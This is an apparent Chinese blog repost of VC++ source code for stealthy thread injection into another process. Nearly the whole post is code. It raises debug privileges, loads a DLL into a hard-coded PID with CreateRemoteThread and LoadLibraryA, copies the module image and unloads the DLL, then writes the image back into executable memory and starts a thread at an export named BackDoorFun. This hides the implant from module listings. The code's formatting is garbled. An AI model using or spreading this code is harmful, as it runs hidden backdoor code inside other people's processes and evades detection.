我是靠谱客的博主 沉静小蚂蚁,最近开发中收集的这篇文章主要介绍VC++实现无进程无dll线程注射技术,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

               


请见代码分析,实现线程注射

#include "stdafx.h"#include "windows.h"#include "stdio.h"#include "Psapi.h"#include "Tlhelp32.h"//获得加载的DLL模块的信息,主要包括模块基地址和模块大小BOOL GetThreadInformation(DWORD ProcessID,char* Dllfullname,MODULEENTRY32 &Thread){  HANDLE hthSnapshot = NULL;   // 取得指定进程的所有模块映象.   hthSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,ProcessID);   if (hthSnapshot == NULL)    return FALSE;  // 取得所有模块列表中的指定的模块.   BOOL bMoreMods = Module32First(hthSnapshot, &Thread);   if (bMoreMods == FALSE)   return FALSE;  // 循环取得想要的模块.   for (;bMoreMods; bMoreMods = Module32Next(hthSnapshot, &Thread))   {   if (strcmp(Thread.szExePath, Dllfullname) == 0)    break;   }  if (strcmp(Thread.szExePath, Dllfullname) == 0)   return TRUE;  else   return FALSE;}//调整进程权限BOOL AdjustPrivileges(HANDLE hProcess,LPCTSTR lpPrivilegeName)//****************************************************** //调整进程权限 //****************************************************** HANDLE hToken;                     TOKEN_PRIVILEGES tkp;         //打开进程的权限标记 if (!::OpenProcessToken(hProcess,                  TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))      return FALSE; //传入lpPrivilegeName的Luid值    if(!::LookupPrivilegeValue(NULL,             lpPrivilegeName,              &tkp.Privileges[0].Luid))     return FALSE; tkp.PrivilegeCount = 1;      tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  if(!::AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,                          (PTOKEN_PRIVILEGES) NULL, 0))       return FALSE; return TRUE;}//注入DLL部分BOOL InjectRemoteProcess(HANDLE hProcess,char* Dllfullname){  //开辟虚拟空间,以便写入DLL的完整路径 PSTR pDllName=NULLif((pDllName=(PSTR)::VirtualAllocEx(hProcess,  NULL,  strlen(Dllfullname)+1,  MEM_COMMIT|MEM_RESERVE,  PAGE_EXECUTE_READWRITE))==NULL)  return FALSE; BOOL  writecode; if((writecode=::WriteProcessMemory(hProcess,  pDllName,        Dllfullname,  strlen(Dllfullname)+1,  NULL))==0)  return FALSE; //取得LoadLibrary函数在Kernel32.dll中的地址.  PTHREAD_START_ROUTINE pfnThreadRtn =    (PTHREAD_START_ROUTINE)GetProcAddress(    GetModuleHandle("Kernel32.dll"), "LoadLibraryA");  if (pfnThreadRtn== NULL)  return FALSE;    //打开远线程 HANDLE  hRemoteThread=NULLif((hRemoteThread=::CreateRemoteThread(hProcess,  NULL,  0,        pfnThreadRtn,  pDllName,    //loadlibrary参数,即dll的路径字符串在远程进程中的地址,若是多参数则放在一个结构体中  0,  NULL))==NULL)  return FALSE; return TRUE;}//卸载DLLBOOL UnistallDll(HANDLE hProcess,BYTE  * Address){  // 取得FreeLibrary函数在Kernel32.dll中的地址. HANDLE hThread  = NULL;  PTHREAD_START_ROUTINE pfnThreadRtn =    (PTHREAD_START_ROUTINE)GetProcAddress(    GetModuleHandle("Kernel32.dll"), "FreeLibrary");  if (pfnThreadRtn == NULL)  return FALSE; // 创建远程线程来执行FreeLibrary函数.  hThread = ::CreateRemoteThread(hProcess,    NULL,    0,    pfnThreadRtn,    Address,    0,    NULL);  if (hThread == NULL)   return FALSE; // 等待远程线程终止. ::WaitForSingleObject(hThread, INFINITE);  // 关闭句柄.  ::CloseHandle(hThread); return TRUE;}#define pid 3844#define BackDoorFun 0x1014//DLL模块中导出函数的地址int main(int argc, char* argv[])char Dllfullname[255]; char Dllname[255]; //打开进程 HANDLE hRemoteProcess=NULLif((hRemoteProcess=::OpenProcess(PROCESS_ALL_ACCESS,       FALSE,   pid))==NULL) {  printf("OpenProcess faile!!");  return 0; } BOOL Adjust=AdjustPrivileges(hRemoteProcess,SE_DEBUG_NAME); if(Adjust==FALSE) {  printf("Adjust process Privileges faile!!n");  return 0; } //获得DLL的完整路径    strcpy(Dllname,"dll.dll"); ::GetCurrentDirectory(255,Dllfullname);    strcat(Dllfullname,"\"); strcat(Dllfullname,Dllname); BOOL Res=InjectRemoteProcess(hRemoteProcess,Dllfullname); if(Res==FALSE) {  printf("Inject Faile!!n");  return 0; }  //等待远线程启动,否则获取不到插入的dll信息 ::Sleep(300);  DWORD RemoteTheadAddress=0; MODULEENTRY32 Thread = {sizeof(Thread)};;  RemoteTheadAddress=GetThreadInformation(pid,Dllfullname,Thread); if(RemoteTheadAddress==0) {  printf("Get RemoteTheadAddress Faile!!n");   return 0; }  //分配保存DLL加载后的的缓冲区,并保存 char *buffer=new char[Thread.modBaseSize+1]; DWORD read; ::ReadProcessMemory(hRemoteProcess,  Thread.modBaseAddr,//加载的DLL模块基地址  buffer,  Thread.modBaseSize,//加载的DLL代码的大小  &read); //卸载DLL BOOL Unstall=UnistallDll(hRemoteProcess,Thread.modBaseAddr); if(Unstall==FALSE) {  printf("Unistall dll Faile!!!n");  return 0; } //重新分配虚拟内存,注意从原模块基地址出开始分配 LPVOID Alloc; Alloc=::VirtualAllocEx(hRemoteProcess,Thread.modBaseAddr,Thread.modBaseSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); if(Alloc== NULL) {  printf("VirtualAllocEx Failed!!n");  return 0; } BOOL Writer;DWORD Written; Writer=::WriteProcessMemory(hRemoteProcess,Thread.modBaseAddr,buffer,Thread.modBaseSize,&Written); if(Writer==0) {  printf("WriteProcessMemory Failed!!n");  return 0; } //重新启动新的无DLL模块的线程中的函数 HANDLE  hNewThread=NULLif((hNewThread=::CreateRemoteThread(hRemoteProcess,  NULL,  0,  (PTHREAD_START_ROUTINE)(Thread.modBaseAddr+BackDoorFun),//添加到进程中的数据的基地址Thread.modBaseAddr+dll导出函数的入口点地址  NULL, //此处填写导出函数的参数地址,为简单期间,本导出函数没有参数,若有参数可用注入DLL中同样方法写进进程空间中  0,  NULL))==NULL)    {  printf("CreateNewThread faile!!n");  return 0; } return 0;}


           

再分享一下我老师大神的人工智能教程吧。零基础!通俗易懂!风趣幽默!还带黄段子!希望你也加入到我们人工智能的队伍中来!https://blog.csdn.net/jiangjunshow

最后

以上就是沉静小蚂蚁为你收集整理的VC++实现无进程无dll线程注射技术的全部内容,希望文章能够帮你解决VC++实现无进程无dll线程注射技术所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(44)

评论列表共有 0 条评论

立即
投稿
返回
顶部